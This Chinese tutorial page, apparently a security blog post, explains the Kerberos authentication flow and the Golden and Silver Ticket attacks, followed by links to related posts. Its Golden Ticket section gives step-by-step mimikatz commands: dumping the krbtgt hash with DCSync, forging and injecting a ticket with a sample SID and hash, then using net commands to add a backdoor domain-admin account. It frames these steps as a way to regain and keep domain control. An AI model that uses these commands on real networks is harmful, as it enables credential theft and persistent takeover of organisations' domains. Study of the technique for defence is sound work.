kerberos

Kerberos是一个网络认证协议,用于验证用户和服务之间的身份,解决分布式计算环境中的身份验证问题。它使用加密技术来提供安全的身份验证,并防止网络中的身份欺骗攻击。Kerberos协议使用了票据交换的方式,其中包括客户端、认证服务器(AS)和票据授予服务器(TGS)。

Kerberos协议的优势在于提供了安全的身份验证机制,防止了网络中的身份欺骗攻击。它使用加密技术、共享密钥和票据交换等方法,确保只有经过身份验证的用户才能访问受保护的服务。Kerberos广泛应用于企业网络环境中,特别是在Windows域环境中,用于实现单点登录和统一身份验证。

在域服务下,访问服务,服务只认票据,票据由DC颁发

客户端访问服务的流程:

//AD内记录着所有用户的用户名,密码,哈希
1、客户端发送自己的用户名给AS 2、AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息
TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密
TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密
//KRBTGT是一个用户,可以理解为kerberos体系的老大,他的哈希代表认证的哈希,即身份票据如果想要生效,需要KRBTGT这个用户的哈希;不管你是什么身份,只要你这张票据是个代表身份的票据,就必须有KRBTGT的认证
//KRBTGT的哈希只有域控有 3、用自己的NTML哈希解密TGT1,获得TGS服务器信息以及session key(as),TGT2由于是别人的哈希,所以解不开
生成认证因子(客户端信息,当前时间)--session key(as)加密
发送认证因子以及TGT2给TGS服务
//TGS位于域控的认证中心,负责发放服务票据 4、TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端
TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密
TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密 5、客户端解密TGT3,得到session key(TGS),服务器信息
//客户端在第3步使用自己的哈希解密TGT1后获取到了session key(as),可以使用as的se_key解密TGT3
//中间传递数据的任何过程as的se_key都没有在明面上进行传输,正常认证流程攻击者不可能获取到session key(as),但是作为客户端的用户可以通过解密获取到,进而可以解密TGT3获取到session key(TGS)
生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密
发送认证因子2以及TGT4给服务器 6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期
利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务

黄金票据与白银票据

黄金票据和白银票据是指在kerberos协议认证过程中的两个票据,黄金票据是指AS服务返回的一个身份票据TGT,有了这个票据以后,可以访问这个身份允许的所有服务;白银票据是指TGS服务返回的一个身份票据ST,这个票据只能访问某个服务。

区别

黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。

白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。

黄金票据

黄金票据就是伪造的TGT,AS返回的票据

条件

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

适用场景

由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码

利用方式

systeminfo查看当前在域环境内

  • 在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存
privilege::debug
lsadump::lsa /patch

lsadump::dcsync /domain:qf.com /user:krbtgt //导出NTLM哈希

  • 清除票据
kerberos::purge   \\清除票据
kerberos::tgt \\查看票据

kerberos::golden /user:administrator /domain:qf.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi

/user:需要伪造的域管理员用户

/domain:域名称

/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)

/krbtgt:krbtgt的HASH值

/ticket:生成的票据名称

  • 导入票据
kerberos::ptt ticket.kirbi

  • 创建域管
net user bbb !@#qwe123 /add /domain		创建域用户
net group "domain admins" bbb /add /domain 添加域用户到域管理员组

可以看到添加的bbb用户隶属于域管理员组

白银票据

白银票据就是伪造的ST,TGS返回的票据

条件

1.域名

2.域sid

3.目标服务器名

4.可利用的服务

5.服务账号的NTML HASH

6.需要伪造的用户名

适用场景

知道服务器的Hash,可以访问服务器的某些服务而不用于kdc进行交互

利用方法大同小异

Kerberos、黄金票据与白银票据的更多相关文章

  1. Kerberos的白银票据详解

    0x01白银票据(Silver Tickets)定义 白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据.如下图所示,与域控制器没有AS-REQ 和 ...

  2. 内网安全之:黄金&白银票据传递域控制器权限维持

    内网安全之:黄金&白银票据传递域控制器权限维持 目录 内网安全之:黄金&白银票据传递域控制器权限维持 1 Golden Ticket 1.1 导出 krbtgt 的 NTLM Hash ...

  3. 单点登录跳转失败(原因是 主票据申请子票据失败) asp.net 同站点下不同应用间不同版本Framework问题

    单点登录跳转失败(原因是 主票据申请子票据失败) asp.net 同站点下不同应用间不同版本Framework问题 今天遇到一个问题,在主站点现在配置的应用和主站点登录会话状态不能共享,进入子站点应用 ...

  4. 域渗透之票据传递攻击(pass the ticket,ptt)

    票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...

  5. 票据传递攻击(Pass the Ticket,PtT)

    目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...

  6. 深入详解windows安全认证机制ntlm&Kerberos

    0x01 为什么要理解windows 安全认证机制: 加深对后续各种漏洞利用的理解深度,还是那句话,要知其然,更要知其所以然,不废话,咱们直接开始 0x02 windows认证协议主要有以下两种: 基 ...

  7. 内网学习之Kerberos协议

    学习了解kerberos协议,有助于我们后期理解黄金票据和白银票据的原理 kerberos协议 kerberos是一种由麻省理工大学提出的一种网络身份验证协议.旨在通过使用密钥加密技术为客户端/服务器 ...

  8. kerberos认证协议爱情故事

    0x01.kerberos简介 kerberos是一种域内认证协议,Kerberos的标志是三头狗,狗头分别代表以下角色: Client Server KDC(Key Distribution Cen ...

  9. 域渗透 | kerberos认证及过程中产生的攻击

    ​文章首发于公众号<Z2O安全攻防>​ 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmS ...

  10. [内网渗透]Mimikatz使用大全

    0x00 简介 Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码 ...

随机推荐

  1. Django笔记二十七之数据库函数之文本函数

    本文首发于公众号:Hunter后端 原文链接:Django笔记二十七之数据库函数之文本函数 这篇笔记将介绍如何使用数据库函数里的文本函数. 顾名思义,文本函数,就是针对文本字段进行操作的函数,如下是目 ...

  2. ArcGIS Desktop发布地形高程服务(DEM/DSM)

    在做ArcGIS三维时,地形服务的发布与普通地图服务的发布不一样,需要发布成ImageServer,切片格式选择LERC. 本文示例使用软件: ArcGIS Desktop10.3.1 注:ArcGI ...

  3. Python-BeautifulReport的简单使用

    一.简介 BeautifulReport.report report ( filename -> 测试报告名称, 如果不指定默认文件名为report.html description -> ...

  4. 超声波、毫米波、ToF激光雷达——在低功耗场景的应用选型

    前言: 目前主要的测距方式有:光学测距,超声波和微波雷达测距. 光学测距又可以分为:双目,结构光,ToF.微波雷达,在消费类产品中,常见的是波长在毫米级别的毫米波雷达.超声波应用比较多的是在车载倒车雷 ...

  5. Apache hudi 核心功能点分析

    Hudi 文中部分代码对应 0.14.0 版本 发展背景 初始的需求是Uber公司会有很多记录级别的更新场景,Hudi 在Uber 内部主要的一个场景,就是乘客打车下单和司机接单的匹配,乘客和司机分别 ...

  6. 数据剖析更灵活、更快捷,火山引擎 DataLeap 动态探查全面升级

    更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 近期,火山引擎 DataLeap 上线"动态探查"能力,为用户提供全局数据视角.完善的抽样策略 ...

  7. 2023-04-30:用go语言重写ffmpeg的resampling_audio.c示例,它实现了音频重采样的功能。

    2023-04-30:用go语言重写ffmpeg的resampling_audio.c示例,它实现了音频重采样的功能. 答案2023-04-30: resampling_audio.c 是 FFmpe ...

  8. 2020-12-19:系统load过高,你怎么去查?

    福哥答案2020-12-20:[答案来自此链接:](http://bbs.xiangxueketang.cn/question/800)1.top命令查看该机器的负载状况.2.cd /proc/pid ...

  9. 2022-01-30:最小好进制。 对于给定的整数 n, 如果n的k(k>=2)进制数的所有数位全为1,则称 k(k>=2)是 n 的一个好进制。 以字符串的形式给出 n, 以字符串的形式返回 n 的

    2022-01-30:最小好进制. 对于给定的整数 n, 如果n的k(k>=2)进制数的所有数位全为1,则称 k(k>=2)是 n 的一个好进制. 以字符串的形式给出 n, 以字符串的形式 ...

  10. 2021-06-18:已知数组arr,生成一个数组out,out的每个元素必须大于等于1,当arr[cur]>arr[cur-1]时,out[cur]>out[cur-1];当arr[cur]>arr

    2021-06-18:已知数组arr,生成一个数组out,out的每个元素必须大于等于1,当arr[cur]>arr[cur-1]时,out[cur]>out[cur-1]:当arr[cu ...